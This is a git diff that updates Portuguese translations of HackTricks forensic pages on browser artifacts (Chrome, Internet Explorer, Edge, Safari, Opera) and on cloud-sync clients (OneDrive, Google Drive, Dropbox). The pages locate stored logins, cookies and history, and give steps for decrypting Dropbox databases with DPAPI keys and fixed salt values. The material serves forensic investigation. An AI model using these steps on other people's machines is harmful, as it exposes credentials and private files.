-* _**History**_: URLs, downloads e até palavras-chave pesquisadas. No Windows, você pode usar a ferramenta [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) para ler o histórico. A coluna "Tipo de Transição" significa:
-* Link: Usuário clicou em um link
-* Digitado: A URL foi digitada
-* Auto Favorito
-* Auto Subframe: Adicionar
-* Página inicial: Página inicial
-* Enviar formulário: Um formulário foi preenchido e enviado
-* Recarregado
-* _**Cookies**_: Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) pode ser usado para inspecionar os cookies.
-* _**Cache**_: Cache. No Windows, você pode usar a ferramenta [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) para inspecionar o cache.
-* _**Favoritos**_: Favoritos
-* _**Dados da Web**_: Histórico de formulários
+* _**History**_: URLs, downloads e até palavras-chave pesquisadas. No Windows, você pode usar a ferramenta [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) para ler o histórico. A coluna "Tipo de Transição" significa:
+ * Link: Usuário clicou em um link
+ * Typed: A URL foi digitada
+ * Auto Bookmark
+ * Auto Subframe: Adicionar
+ * Start page: Página inicial
+ * Form Submit: Um formulário foi preenchido e enviado
+ * Reloaded
+* _**Cookies**_: Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) pode ser usado para inspecionar os cookies.
+* _**Cache**_: Cache. No Windows, você pode usar a ferramenta [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) para inspecionar o cache.
+* _**Bookmarks**_: Favoritos
+* _**Web Data**_: Histórico de formulários
* _**Favicons**_: Favicons
-* _**Dados de Login**_: Informações de login (nomes de usuário, senhas...)
-* _**Sessão Atual**_ e _**Guias Atuais**_: Dados da sessão atual e guias atuais
-* _**Última Sessão**_ e _**Últimas Guias**_: Esses arquivos contêm os sites que estavam ativos no navegador quando o Chrome foi fechado pela última vez.
-* _**Extensões**_: Pasta de extensões e complementos
-* **Miniaturas** : Miniaturas
-* **Preferências**: Este arquivo contém uma infinidade de informações úteis, como plugins, extensões, sites que usam geolocalização, pop-ups, notificações, pré-busca DNS, exceções de certificado e muito mais. Se você está tentando pesquisar se uma configuração específica do Chrome estava ativada ou não, provavelmente encontrará essa configuração aqui.
-* **Anti-phishing integrado do navegador:** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`
-* Você pode simplesmente usar o comando grep para "safebrowsing" e procurar por `{"enabled: true,"}` no resultado para indicar que a proteção contra phishing e malware está ativada.
+* _**Login Data**_: Informações de login (nomes de usuário, senhas...)
+* _**Current Session**_ e _**Current Tabs**_: Dados da sessão atual e abas atuais
+* _**Last Session**_ e _**Last Tabs**_: Estes arquivos contêm sites que estavam ativos no navegador quando o Chrome foi fechado pela última vez.
+* _**Extensions**_: Pasta de extensões e complementos
+* **Thumbnails** : Miniaturas
+* **Preferences**: Este arquivo contém uma infinidade de informações úteis, como plugins, extensões, sites que usam geolocalização, pop-ups, notificações, prefetching de DNS, exceções de certificados e muito mais. Se você está tentando pesquisar se uma configuração específica do Chrome estava ativada, provavelmente encontrará essa configuração aqui.
+* **Proteção anti-phishing integrada ao navegador:** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`
+* Você pode simplesmente usar grep para "**safebrowsing**" e procurar por `{"enabled: true,"}` no resultado para indicar que a proteção contra phishing e malware está ativada.
-## **Recuperação de Dados do Banco de Dados SQLite**
+## **Recuperação de Dados do SQLite DB**
-Como você pode observar nas seções anteriores, tanto o Chrome quanto o Firefox usam bancos de dados **SQLite** para armazenar os dados. É possível **recuperar entradas excluídas usando a ferramenta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
+Como você pode observar nas seções anteriores, tanto o Chrome quanto o Firefox usam bancos de dados **SQLite** para armazenar dados. É possível **recuperar entradas excluídas usando a ferramenta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
O Internet Explorer armazena **dados** e **metadados** em locais diferentes. Os metadados permitirão encontrar os dados.
-Os **metadados** podem ser encontrados na pasta `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`, onde VX pode ser V01, V16 ou V24.\
-Na pasta anterior, você também pode encontrar o arquivo V01.log. Caso o **horário de modificação** deste arquivo e o arquivo WebcacheVX.data **sejam diferentes**, pode ser necessário executar o comando `esentutl /r V01 /d` para **corrigir** possíveis **incompatibilidades**.
+Os **metadados** podem ser encontrados na pasta `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` onde VX pode ser V01, V16 ou V24.
+Na pasta anterior, você também pode encontrar o arquivo V01.log. Caso o **tempo modificado** deste arquivo e do arquivo WebcacheVX.data **sejam diferentes**, você pode precisar executar o comando `esentutl /r V01 /d` para **corrigir** possíveis **incompatibilidades**.
-Uma vez que este artefato seja **recuperado** (é um banco de dados ESE, o photorec pode recuperá-lo com as opções Banco de Dados Exchange ou EDB), você pode usar o programa [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) para abri-lo. Uma vez **aberto**, vá para a tabela chamada "**Containers**".
+Uma vez **recuperado** este artefato (é um banco de dados ESE, photorec pode recuperá-lo com as opções Exchange Database ou EDB) você pode usar o programa [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) para abri-lo. Uma vez **aberto**, vá para a tabela chamada "**Containers**".
![](<../../../.gitbook/assets/image (446).png>)
-Dentro desta tabela, você pode encontrar em quais outras tabelas ou contêineres cada parte das informações armazenadas é salva. Em seguida, você pode encontrar as **localizações dos dados** armazenados pelos navegadores e os **metadados** que estão dentro.
+Dentro desta tabela, você pode encontrar em quais outras tabelas ou contêineres cada parte da informação armazenada é salva. Seguindo isso, você pode encontrar as **localizações dos dados** armazenados pelos navegadores e os **metadados** que estão dentro.
**Observe que esta tabela indica metadados do cache para outras ferramentas da Microsoft também (por exemplo, skype)**
### Cache
-Você pode usar a ferramenta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) para inspecionar o cache. Você precisa indicar a pasta onde extraiu os dados do cache.
+Você pode usar a ferramenta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) para inspecionar o cache. Você precisa indicar a pasta onde extraiu a data do cache.
#### Metadados
@@ -160,16 +163,16 @@ As informações de metadados sobre o cache armazenam:
* SecureDIrectory: Localização do arquivo dentro dos diretórios de cache
* AccessCount: Número de vezes que foi salvo no cache
* URL: A origem da URL
-* CreationTime: Primeira vez que foi armazenado em cache
-* AccessedTime: Hora em que o cache foi usado
-* ModifiedTime: Última versão da página
-* ExpiryTime: Hora em que o cache expirará
+* CreationTime: Primeira vez que foi armazenado no cache
+* AccessedTime: Tempo em que o cache foi utilizado
+* ModifiedTime: Última versão da página web
+* ExpiryTime: Tempo em que o cache expirará
#### Arquivos
As informações do cache podem ser encontradas em _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ e _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_
-As informações dentro dessas pastas são um **instantâneo do que o usuário estava vendo**. Os caches têm um tamanho de **250 MB** e os carimbos de data e hora indicam quando a página foi visitada (primeira vez, data de criação do NTFS, última vez, data de modificação do NTFS).
+As informações dentro dessas pastas são um **instantâneo do que o usuário estava vendo**. Os caches têm um tamanho de **250 MB** e os timestamps indicam quando a página foi visitada (primeira vez, data de criação do NTFS, última vez, tempo de modificação do NTFS).
### Cookies
@@ -181,26 +184,27 @@ As informações de metadados sobre os cookies armazenados:
* Nome do cookie no sistema de arquivos
* URL
-* AccessCount: Número de vezes que os cookies foram enviados para o servidor
+* AccessCount: Número de vezes que os cookies foram enviados ao servidor
* CreationTime: Primeira vez que o cookie foi criado
* ModifiedTime: Última vez que o cookie foi modificado
* AccessedTime: Última vez que o cookie foi acessado
-* ExpiryTime: Hora de expiração do cookie
+* ExpiryTime: Tempo de expiração do cookie
#### Arquivos
Os dados dos cookies podem ser encontrados em _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies**_ e _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies\low**_
-Os cookies de sessão residirão na memória e os cookies persistentes no disco.
+Cookies de sessão residirão na memória e cookies persistentes no disco.
+
### Downloads
#### **Metadados**
-Verificando a ferramenta [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), você pode encontrar o contêiner com os metadados dos downloads:
+Verificando a ferramenta [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) você pode encontrar o contêiner com os metadados dos downloads:
![](<../../../.gitbook/assets/image (445).png>)
-Obtendo as informações da coluna "ResponseHeaders", você pode transformar essas informações de hexadecimal e obter a URL, o tipo de arquivo e a localização do arquivo baixado.
+Obtendo a informação da coluna "ResponseHeaders" você pode transformar de hex essa informação e obter a URL, o tipo de arquivo e a localização do arquivo baixado.
#### Arquivos
@@ -208,7 +212,7 @@ Procure no caminho _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownload
### **Histórico**
-A ferramenta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) pode ser usada para ler o histórico. Mas primeiro, você precisa indicar o navegador nas opções avançadas e a localização dos arquivos de histórico extraídos.
+A ferramenta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) pode ser usada para ler o histórico. Mas primeiro, você precisa indicar o navegador nas opções avançadas e a localização dos arquivos de histórico extraídos.
#### **Metadados**
@@ -222,7 +226,7 @@ Pesquise em _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5*
### **URLs Digitadas**
-Essas informações podem ser encontradas no registro NTDUSER.DAT no caminho:
+Essa informação pode ser encontrada dentro do registro NTDUSER.DAT no caminho:
* _**Software\Microsoft\InternetExplorer\TypedURLs**_
* Armazena as últimas 50 URLs digitadas pelo usuário
@@ -231,9 +235,9 @@ Essas informações podem ser encontradas no registro NTDUSER.DAT no caminho:
## Microsoft Edge
-Para analisar os artefatos do Microsoft Edge, todas as **explicações sobre cache e localizações da seção anterior (IE 11) permanecem válidas**, com a única diferença de que a localização base, neste caso, é _**%userprofile%\Appdata\Local\Packages**_ (como pode ser observado nos seguintes caminhos):
+Para analisar artefatos do Microsoft Edge, todas as **explicações sobre cache e localizações da seção anterior (IE 11) permanecem válidas** com a única diferença de que a localização base, neste caso, é _**%userprofile%\Appdata\Local\Packages**_ (como pode ser observado nos seguintes caminhos):
-* Caminho do perfil: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_
+* Caminho do Perfil: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_
* Histórico, Cookies e Downloads: _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_
* Configurações, Favoritos e Lista de Leitura: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_
* Cache: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_
@@ -243,46 +247,49 @@ Para analisar os artefatos do Microsoft Edge, todas as **explicações sobre cac
Os bancos de dados podem ser encontrados em `/Users/$User/Library/Safari`
-* **History.db**: As tabelas `history_visits` _e_ `history_items` contêm informações sobre o histórico e os carimbos de data e hora.
+* **History.db**: As tabelas `history_visits` _e_ `history_items` contêm informações sobre o histórico e timestamps.
* `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"`
* **Downloads.plist**: Contém informações sobre os arquivos baixados.
-* **Book-marks.plist**: URLs marcadas como favoritas.
-* **TopSites.plist**: Lista dos sites mais visitados pelo usuário.
+* **Book-marks.plist**: URLs favoritas.
+* **TopSites.plist**: Lista dos sites mais visitados que o usuário navega.
* **Extensions.plist**: Para recuperar uma lista antiga de extensões do navegador Safari.
* `plutil -p ~/Library/Safari/Extensions/Extensions.plist| grep "Bundle Directory Name" | sort --ignore-case`
* `pluginkit -mDvvv -p com.apple.Safari.extension`
* **UserNotificationPermissions.plist**: Domínios que têm permissão para enviar notificações.
* `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'`
-* **LastSession.plist**: Abas que foram abertas da última vez que o usuário saiu do Safari.
+* **LastSession.plist**: Abas que estavam abertas na última vez que o usuário saiu do Safari.
* `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate`
-* **Anti-phishing integrado do navegador:** `defaults read com.apple.Safari WarnAboutFraudulentWebsites`
+* **Proteção anti-phishing integrada ao navegador:** `defaults read com.apple.Safari WarnAboutFraudulentWebsites`
* A resposta deve ser 1 para indicar que a configuração está ativa
## Opera
Os bancos de dados podem ser encontrados em `/Users/$USER/Library/Application Support/com.operasoftware.Opera`
-O Opera **armazena o histórico do navegador e os dados de download no mesmo formato que o Google Chrome**. Isso se aplica aos nomes dos arquivos, bem como aos nomes das tabelas.
+O Opera **armazena o histórico do navegador e os dados de download exatamente no mesmo formato que o Google Chrome**. Isso se aplica aos nomes dos arquivos, bem como aos nomes das tabelas.
-* **Anti-phishing integrado do navegador:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences`
-* **fraud\_protection\_enabled** deve ser **true**
+* **Proteção anti-phishing integrada ao navegador:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences`
+* **fraud_protection_enabled** deve ser **true**
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias **mais avançadas do mundo**.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras maneiras de apoiar o HackTricks:
+
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+```
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index c561e44aa..d3f037ad4 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -2,27 +2,29 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com as ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive
-No Windows, você pode encontrar a pasta do OneDrive em `\Users\\AppData\Local\Microsoft\OneDrive`. E dentro de `logs\Personal`, é possível encontrar o arquivo `SyncDiagnostics.log`, que contém alguns dados interessantes sobre os arquivos sincronizados:
+No Windows, você pode encontrar a pasta do OneDrive em `\Users\\AppData\Local\Microsoft\OneDrive`. E dentro de `logs\Personal` é possível encontrar o arquivo `SyncDiagnostics.log` que contém dados interessantes sobre os arquivos sincronizados:
* Tamanho em bytes
* Data de criação
@@ -30,28 +32,28 @@ No Windows, você pode encontrar a pasta do OneDrive em `\Users\.ini**_ e _**\.dat**_ que podem conter informações interessantes, como os nomes dos arquivos sincronizados com o OneDrive.
+Uma vez que você encontrou o CID, é recomendado **procurar arquivos contendo este ID**. Você pode ser capaz de encontrar arquivos com o nome: _**\.ini**_ e _**\.dat**_ que podem conter informações interessantes como os nomes dos arquivos sincronizados com o OneDrive.
## Google Drive
-No Windows, você pode encontrar a pasta principal do Google Drive em `\Users\\AppData\Local\Google\Drive\user_default`\
-Esta pasta contém um arquivo chamado Sync\_log.log com informações como o endereço de e-mail da conta, nomes de arquivos, carimbos de data e hora, hashes MD5 dos arquivos, etc. Mesmo os arquivos excluídos aparecem nesse arquivo de log com seu respectivo MD5.
+No Windows, você pode encontrar a pasta principal do Google Drive em `\Users\\AppData\Local\Google\Drive\user_default`\
+Esta pasta contém um arquivo chamado Sync_log.log com informações como o endereço de email da conta, nomes de arquivos, timestamps, hashes MD5 dos arquivos, etc. Até arquivos excluídos aparecem nesse arquivo de log com seu respectivo MD5.
-O arquivo **`Cloud_graph\Cloud_graph.db`** é um banco de dados sqlite que contém a tabela **`cloud_graph_entry`**. Nesta tabela, você pode encontrar o **nome** dos **arquivos sincronizados**, hora da modificação, tamanho e o checksum MD5 dos arquivos.
+O arquivo **`Cloud_graph\Cloud_graph.db`** é um banco de dados sqlite que contém a tabela **`cloud_graph_entry`**. Nesta tabela você pode encontrar o **nome** dos **arquivos sincronizados**, tempo de modificação, tamanho e o checksum MD5 dos arquivos.
-Os dados da tabela do banco de dados **`Sync_config.db`** contêm o endereço de e-mail da conta, o caminho das pastas compartilhadas e a versão do Google Drive.
+Os dados da tabela do banco de dados **`Sync_config.db`** contêm o endereço de email da conta, o caminho das pastas compartilhadas e a versão do Google Drive.
## Dropbox
-O Dropbox usa **bancos de dados SQLite** para gerenciar os arquivos. Nisso\
+O Dropbox usa **bancos de dados SQLite** para gerenciar os arquivos. Neste\
Você pode encontrar os bancos de dados nas pastas:
-* `\Users\\AppData\Local\Dropbox`
-* `\Users\\AppData\Local\Dropbox\Instance1`
-* `\Users\\AppData\Roaming\Dropbox`
+* `\Users\\AppData\Local\Dropbox`
+* `\Users\\AppData\Local\Dropbox\Instance1`
+* `\Users\\AppData\Roaming\Dropbox`
E os principais bancos de dados são:
@@ -60,31 +62,31 @@ E os principais bancos de dados são:
* Deleted.dbx
* Config.dbx
-A extensão ".dbx" significa que os **bancos de dados** estão **criptografados**. O Dropbox usa **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
+A extensão ".dbx" significa que os **bancos de dados** são **criptografados**. O Dropbox usa **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Para entender melhor a criptografia que o Dropbox usa, você pode ler [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
-No entanto, as principais informações são:
+No entanto, as informações principais são:
* **Entropia**: d114a55212655f74bd772e37e64aee9b
* **Salt**: 0D638C092E8B82FC452883F95F355B8E
* **Algoritmo**: PBKDF2
* **Iterações**: 1066
-Além dessas informações, para descriptografar os bancos de dados, você ainda precisa de:
+Além dessas informações, para descriptografar os bancos de dados você ainda precisa de:
* A **chave DPAPI criptografada**: Você pode encontrá-la no registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporte esses dados como binário)
-* As colmeias **`SYSTEM`** e **`SECURITY`**
-* As **chaves mestras DPAPI**: Que podem ser encontradas em `\Users\\AppData\Roaming\Microsoft\Protect`
+* As hives **`SYSTEM`** e **`SECURITY`**
+* As **chaves mestras DPAPI**: Que podem ser encontradas em `\Users\\AppData\Roaming\Microsoft\Protect`
* O **nome de usuário** e **senha** do usuário do Windows
-Em seguida, você pode usar a ferramenta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
+Então você pode usar a ferramenta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>)
-Se tudo correr como esperado, a ferramenta indicará a **chave primária** que você precisa **usar para recuperar a original**. Para recuperar a original, basta usar este [recibo do cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) colocando a chave primária como a "frase secreta" dentro do recibo.
+Se tudo correr como esperado, a ferramenta indicará a **chave primária** que você precisa **usar para recuperar a original**. Para recuperar a original, basta usar esta [receita do cyber_chef](https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)) colocando a chave primária como a "passphrase" dentro da receita.
-O hexadecimal resultante é a chave final usada para criptografar os bancos de dados, que podem ser descriptografados com:
+O hex resultante é a chave final usada para criptografar os bancos de dados, que pode ser descriptografada com:
```bash
sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
@@ -93,40 +95,42 @@ O banco de dados **`config.dbx`** contém:
* **Email**: O email do usuário
* **usernamedisplayname**: O nome do usuário
* **dropbox\_path**: Caminho onde a pasta do Dropbox está localizada
-* **Host\_id: Hash** usado para autenticar na nuvem. Isso só pode ser revogado pela web.
+* **Host\_id**: Hash usado para autenticar na nuvem. Isso só pode ser revogado pela web.
* **Root\_ns**: Identificador do usuário
-O banco de dados **`filecache.db`** contém informações sobre todos os arquivos e pastas sincronizados com o Dropbox. A tabela `File_journal` é a que contém mais informações úteis:
+O banco de dados **`filecache.db`** contém informações sobre todos os arquivos e pastas sincronizados com o Dropbox. A tabela `File_journal` é a que possui informações mais úteis:
-* **Server\_path**: Caminho onde o arquivo está localizado no servidor (esse caminho é precedido pelo `host_id` do cliente).
+* **Server\_path**: Caminho onde o arquivo está localizado dentro do servidor (este caminho é precedido pelo `host_id` do cliente).
* **local\_sjid**: Versão do arquivo
* **local\_mtime**: Data de modificação
* **local\_ctime**: Data de criação
-Outras tabelas dentro desse banco de dados contêm informações mais interessantes:
+Outras tabelas dentro deste banco de dados contêm informações mais interessantes:
* **block\_cache**: hash de todos os arquivos e pastas do Dropbox
-* **block\_ref**: Relaciona o ID de hash da tabela `block_cache` com o ID do arquivo na tabela `file_journal`
-* **mount\_table**: Compartilhamento de pastas do Dropbox
+* **block\_ref**: Relaciona o ID do hash da tabela `block_cache` com o ID do arquivo na tabela `file_journal`
+* **mount\_table**: Pastas compartilhadas do Dropbox
* **deleted\_fields**: Arquivos excluídos do Dropbox
* **date\_added**
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
